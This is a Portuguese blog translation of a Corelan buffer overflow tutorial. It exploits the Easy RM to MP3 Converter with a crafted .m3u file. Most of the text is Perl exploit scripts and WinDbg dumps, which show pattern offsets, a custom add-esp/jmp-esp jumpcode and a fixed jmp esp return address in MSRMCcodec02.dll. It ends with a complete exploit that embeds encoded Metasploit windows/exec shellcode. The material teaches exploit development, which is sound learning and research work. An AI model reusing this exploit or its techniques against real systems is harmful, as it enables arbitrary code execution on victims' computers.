Lidando com buffers pequenos: pulando para qualquer lugar com jumpcodes
personalizados
Falamos sobre várias formas de
fazer o EIP pular para nosso shellcode. Em todos os cenários, tivemos a
facilidade de poder colocar este shellcode inteiro no buffer. Mas o que fazer
se vermos que não temos espaço suficiente para armazenar todo o shellcode?
Em nosso exemplo, utilizamos
26094 bytes entes de sobrescrever EIP, e notamos que o EIP aponta para 26094+4
bytesm e que temos espaço de sobre desse ponto em diante. Mas o que
fazer se tivermos apenas 50 bytes (ESP -> ESP+50 bytes)? O que fazer se
nossos testes mostram que tudo o que foi escrito após esses 50 bytes não é
útil? 50 bytes para armazenar nosso shellcode, não é muita coisa. Então
precisamos encontrar uma forma para contornar isso. Então, talvez, possamos
utilizaro os 26094 bytes que usamos para disparar o estouro de buffer.
Primeiro, precisamos encontrar
estes 26094 bytes em algum lugar na memória. Se não pudermos encontrá-los, será
difícil nos referenciarmos a eles. De fato, se conseguirmos encontrar esses
bytes e descobrir que temos outro registrador apontando para eles (ou quase
apontando), poder ser bem mais fácil colocar nosso shellcode lá.
Se você rodar alguns testes
novamente contra o Easy RM to MP3, notará que partes dos 26094 bytes também
estão visíveis no dump do ESP:
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";
my $preshellcode = "X" x 54; #supondo que só temos esse espaço disponível
my $nop = "\x90" x 230; #adicionando alguns nops para separa nossos 54 X’s de outros dados
open($FILE,">$file");
print $FILE $junk.$eip.$preshellcode.$nop;
close($FILE);
print "Arquivo m3u criado com sucesso \n";
Após abrir o test1.m3u, temos isso:
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006715
eip=42424242 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0x42424231:
42424242 ?? ???
0:000> d esp
000ff730 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
000ff740 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
000ff750 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
000ff760 58 58 90 90 90 90 90 90-90 90 90 90 90 90 90 90 XX..............
000ff770 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff780 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff790 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7a0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:000> d
000ff7b0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7c0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7d0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7e0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7f0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff800 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff810 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff820 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:000> d
000ff830 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff840 90 90 90 90 90 90 90 90-00 41 41 41 41 41 41 41 .........AAAAAAA
000ff850 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff860 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff870 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff880 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff890 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
Podemos ver nossos 50 X’s no ESP.
Vamos supor que este é o único espaço disponível para o shellcode. Entretanto,
quando olhamos mais abaixo na stack, podemos ver os A’s começando no endereço
000ff849 (=ESP+281).
Quando olhamos em outros
registradores, não há traço dos X’s ou A’s (podemos fazer dump apenas de
registradores, ou buscar por um número de A’s na memória).
Então é isso. Podemos pular para
ESP para executar algum código, mas temos apenas 50 bytes para gastar com o
shellcode. Também vemos outras partes de nosso buffer AM posições mais baixas
na stack... de fato, quando continuamos o dump do conteúdo do ESP, temos um
imenso buffer repleto de A’s...
Felizmente, há uma forma de
armazenar o shellcode nos A’s e utilizar os X’s para pular para os A’s. Para
fazer isso ocorrer, precisamos de duas coisas:
- A posição dentro do buffer com 26094 A’s que agora é parte do ESP, em 000ff849 (“Onde os A’s mostra que o ESP realmente começa?” Se quisermos colocar nosso shellcode dentro dos A’s, precisamos saber onde exatamente é necessário colocá-lo)
- Jumpcode: código que fará o jump dos X’s para os A’s. Este código não pode ser maior que 50 bytes (pois isso é tudo que temos disponível diretamente no ESP).
Podemos encontrar a posição exata
utilizando suposições, padrões personalizados ou padrões do metasploit.
Utilizaremos um dos padrões do
metasploit… começando com um pequeno (se procuramos a posição inicial dos A’s,
não podemos começar com padrões grandes).
Gere um padrão de 1000 caracteres
e substitua os primeiros 1000 caracteres no script Perl pelo padrão (e então
adicione 25101 A’s):
my $file= "test1.m3u";
my $pattern = "Aa0Aa1Aa2Aa3Aa4Aa....g8Bg9Bh0Bh1Bh2B";
my $junk= "A" x 25101;
my $eip = "BBBB";
my $preshellcode = "X" x 54; #supondo que só temos esse espaço disponível
my $nop = "\x90" x 230; #adicionando alguns nops para separa nossos 54 X’s de outros dados
open($FILE,">$file");
print $FILE $pattern.$junk.$eip.$preshellcode.$nop;
close($FILE);
print "Arquivo m3u criado com sucesso \n";
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006715
eip=42424242 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0x42424231:
42424242 ?? ???
0:000> d esp
000ff730 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
000ff740 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
000ff750 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
000ff760 58 58 90 90 90 90 90 90-90 90 90 90 90 90 90 90 XX..............
000ff770 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff780 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff790 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7a0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:000> d
000ff7b0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7c0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7d0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7e0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7f0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff800 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff810 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff820 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:000> d
000ff830 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff840 90 90 90 90 90 90 90 90-00 35 41 69 36 41 69 37 .........5Ai6Ai7
000ff850 41 69 38 41 69 39 41 6a-30 41 6a 31 41 6a 32 41 Ai8Ai9Aj0Aj1Aj2A
000ff860 6a 33 41 6a 34 41 6a 35-41 6a 36 41 6a 37 41 6a j3Aj4Aj5Aj6Aj7Aj
000ff870 38 41 6a 39 41 6b 30 41-6b 31 41 6b 32 41 6b 33 8Aj9Ak0Ak1Ak2Ak3
000ff880 41 6b 34 41 6b 35 41 6b-36 41 6b 37 41 6b 38 41 Ak4Ak5Ak6Ak7Ak8A
000ff890 6b 39 41 6c 30 41 6c 31-41 6c 32 41 6c 33 41 6c k9Al0Al1Al2Al3Al
000ff8a0 34 41 6c 35 41 6c 36 41-6c 37 41 6c 38 41 6c 39 4Al5Al6Al7Al8Al9
O que vemos em 000ff849 é definitivamente
parte do padrão. Os primeiro 4 caracteres são 5Ai6.
Utilizando o utilitário
pattern_offset do metasploit, vemos que esses 4 caracteres estão no offset 257.
Então ao invés de colocar 26094 A’s no arquivo, colocaremos 257 A’s, e então
nosso shellcode, e preenchemos o restante dos 26094 caracteres com A’s
novamente. Ou melhor, começamos com apenas 250 A’s, então 50 NOP’s, nosso
shellcode, e então preenchemos o restante com A’s. Dessa forma, não precisamos
ser tão específicos quando pular... Se pudermos acertar os NOP’s antes do
shellcode, vai funcionar perfeitamente.
Vamos ver como o script e a stack
se parecerão quando fizermos isso:
my $file= "test1.m3u";
my $buffersize = 26094;
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = "BBBB";
my $preshellcode = "X" x 54; # supondo que só temos esse espaço disponível
my $nop2 = "\x90" x 230; # adicionando alguns nops para separa nossos 54 X’s de outros dados
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Tamanho do buffer: ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$nop2;
close($FILE);
print "Arquivo m3u criado com sucesso\n";
Quando a aplicação morre, podemos ver nossos 50 NOP’s
começando em 000ff848, seguidos pelo shellcode (0x90 em 000ff874), e então,
novamente, seguido pelos A’s.
(188.c98): Access violation - code c0000005 (!!! Segunda chance !!!)
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006715
eip=42424242 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0x42424231:
42424242 ?? ???
0:000> d esp
000ff730 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
000ff740 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
000ff750 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
000ff760 58 58 90 90 90 90 90 90-90 90 90 90 90 90 90 90 XX..............
000ff770 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff780 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff790 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7a0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:000> d
000ff7b0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7c0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7d0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7e0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7f0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff800 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff810 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff820 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:000> d
000ff830 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff840 90 90 90 90 90 90 90 90-00 90 90 90 90 90 90 90 ................
000ff850 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff860 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff870 90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41 .....AAAAAAAAAAA
000ff880 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff890 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
A segunda coisa que precisamos
fazer é construir nosso jumpcode que precisa ser colocado no ESP. O objetivo do
jumpcode é pular para ESP+281.
Escrever jumpcode é tão fácil
quanto escrever as declarações em assembly e depois traduzi-las para opcode
(tendo certeza de que não temos nenhum nullbyte ou outros caracteres restritos
ao mesmo tempo).
Pular para ESP+281 requeriria:
adicionar 281 ao registrador ESP, e então realizar um jump esp. 281 = 119h. Não
tente adicionar tudo de uma só vez, senão poderá acapcar com opcode que contém
null bytes.
Já que temos alguma flexibilidade
(devido aos NOP’s antes de nosso shellcode), não temos que ser tão precisos. Já
que adicionaremos 281 (ou mais), ele irá funcionar. Temos 50 bytes para nosso
jumpcode, mas isso não deve ser problema.
Vamos adicionar 0x5e (94) ao ESP,
3 vezes. Então fazer o jump para esp. Os comandos em assembly são:
- add esp,0x5e
- add esp,0x5e
- add esp,0x5e
- jmp esp
Usando o windbg, podemos ter o
opcode:
0:014> a
7c901211 add esp,0x5e
add esp,0x5e
7c901214 add esp,0x5e
add esp,0x5e
7c901217 add esp,0x5e
add esp,0x5e
7c90121a jmp esp
jmp esp
7c90121c
0:014> u 7c901211
ntdll!DbgBreakPoint+0x3:
7c901211 83c45e add esp,5Eh
7c901214 83c45e add esp,5Eh
7c901217 83c45e add esp,5Eh
7c90121a ffe4 jmp esp
Ok, então o opcode para o jumpcode completo é:
0x83,0xc4,0x5e,0x83,0xc4,0x5e,0x83,0xc4,0x5e,0xff,0xe4
my $file= "test1.m3u";
my $buffersize = 26094;
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc"; #posição 300
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = "BBBB";
my $preshellcode = "X" x 4;
my $jumpcode = "\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
"\xff\xe4"; #jmp esp
my $nop2 = "0x90" x 10; # apenas utilizado para seperara visualmente
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "Arquivo m3u criado com sucesso \n";
O jumpcode é perfeitamente
colocado no ESP. Quando o shellcode é chamado, ESP apontaria para os NOP’s
(entre 000ff842 e 000ff873). O shellcode começa em 000ff874:
(45c.f60): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006608
eip=42424242 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0x42424231:
42424242 ?? ???
0:000> d esp
000ff730 83 c4 5e 83 c4 5e 83 c4-5e ff e4 00 01 00 00 00 ..^..^..^.......
000ff740 30 f7 0f 00 00 00 00 00-41 41 41 41 41 41 41 41 0.......AAAAAAAA
000ff750 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff760 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff770 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff780 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff790 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> d
000ff7b0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff800 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff810 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff820 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> d
000ff830 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff840 41 41 90 90 90 90 90 90-90 90 90 90 90 90 90 90 AA..............
000ff850 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff860 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff870 90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41 .....AAAAAAAAAAA
000ff880 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff890 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
A última coisa que precisamos
fazer é sobrescrever o EIP com um “jmp esp”. Do primeiro tutorial, sabemos que
isso pode ser conseguido através do endereço 0x01ccf23a.
O que acontecerá quando ocorrer a
sobrecarga?
- O shellcode real sera colocado na primeira parte da string que é enviada, e finalizará em ESP+300. O shellcode real é precedido por NOP’s para permitir o jump uma pequena margem de erro.
- EIP será sobrescrito com 0x01ccf23a (aponta para uma dll, executa “jmp esp”).
- Os dados após sobrescrever EIP serão sobrescritos com jumpcode que adiciona 282 ao ESP e então pula para esse endereço.
- Após o payload ser enviado, EIP pulará para esp. Isso disparará o jump code para pular para ESP+282. NOP sled, e shellcode são executados.
Vamos tentar com um break como
sendo o shellcode:
my $file= "test1.m3u";
my $buffersize = 26094;
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc"; #posição 300
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = pack('V',0x01ccf23a); #jmp esp de MSRMCcodec02.dll
my $preshellcode = "X" x 4;
my $jumpcode = "\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
"\xff\xe4"; #jmp esp
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "Arquivo m3u criado com sucesso \n";
O arquivos m3u gerado, nos traz nosso shellcode (que é um
break). (EIP = 0x000ff874 = início do shellcode).
(d5c.c64): Break instruction exception - code 80000003 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006608
eip=000ff874 esp=000ff84a ebp=003440c0 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0xff863:
000ff874 cc int 3
0:000> d esp
000ff84a 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff85a 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff86a 90 90 90 90 90 90 90 90-90 90 cc 41 41 41 41 41 ...........AAAAA
000ff87a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff88a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff89a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8aa 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8ba 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
Substitua o break por algum shellcode real (e substitua os
A’s por NOPs)… (shellcode: exclua caracteres 0x00, 0xff, 0xac, 0xca).
Quando você substitui os A’s pelos NOP’s, você terá mais
espaço para pular nele, assim podemos utilizar um jumpcode que pula apenas 188
posições à frente (2 vezes 5e).
my $file= "test1.m3u";
my $buffersize = 26094;
my $junk= "\x90" x 200;
my $nop = "\x90" x 50;
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode = "\x89\xe2\xd9\xeb\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d" .
"\x38\x51\x54\x45\x50\x43\x30\x45\x50\x4c\x4b\x51\x55\x47" .
"\x4c\x4c\x4b\x43\x4c\x44\x45\x43\x48\x43\x31\x4a\x4f\x4c" .
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x45\x51\x4a" .
"\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x46" .
"\x51\x49\x50\x4a\x39\x4e\x4c\x4b\x34\x49\x50\x44\x34\x45" .
"\x57\x49\x51\x49\x5a\x44\x4d\x45\x51\x48\x42\x4a\x4b\x4c" .
"\x34\x47\x4b\x50\x54\x51\x34\x45\x54\x44\x35\x4d\x35\x4c" .
"\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4b\x39\x51\x4c\x46" .
"\x44\x45\x54\x48\x43\x51\x4f\x46\x51\x4c\x36\x43\x50\x50" .
"\x56\x43\x54\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44" .
"\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x44" .
"\x48\x4d\x59\x4c\x38\x4d\x53\x49\x50\x42\x4a\x46\x30\x45" .
"\x38\x4c\x30\x4c\x4a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b" .
"\x4e\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x42\x43\x43" .
"\x51\x42\x4c\x45\x33\x45\x50\x41\x41";
my $restofbuffer = "\x90" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = pack('V',0x01ccf23a); #jmp esp de MSRMCcodec02.dll
my $preshellcode = "X" x 4;
my $jumpcode = "\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
"\xff\xe4"; #jmp esp
my $nop2 = "0x90" x 10; # apenas usada para separação visual
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Tamanho do buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "Arquivo m3u criado com sucesso\n";
Ownado
novamente J
Xeror do Corelan, lamentável
ResponderExcluirSe quiser, posso desenhar pra vc, mas vale dar uma lida na primeira linha lá em cima de novo, caso saiba ler :-)
ExcluirTradução do original: https://www.corelan.be/index.php/2009/07/23/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-2/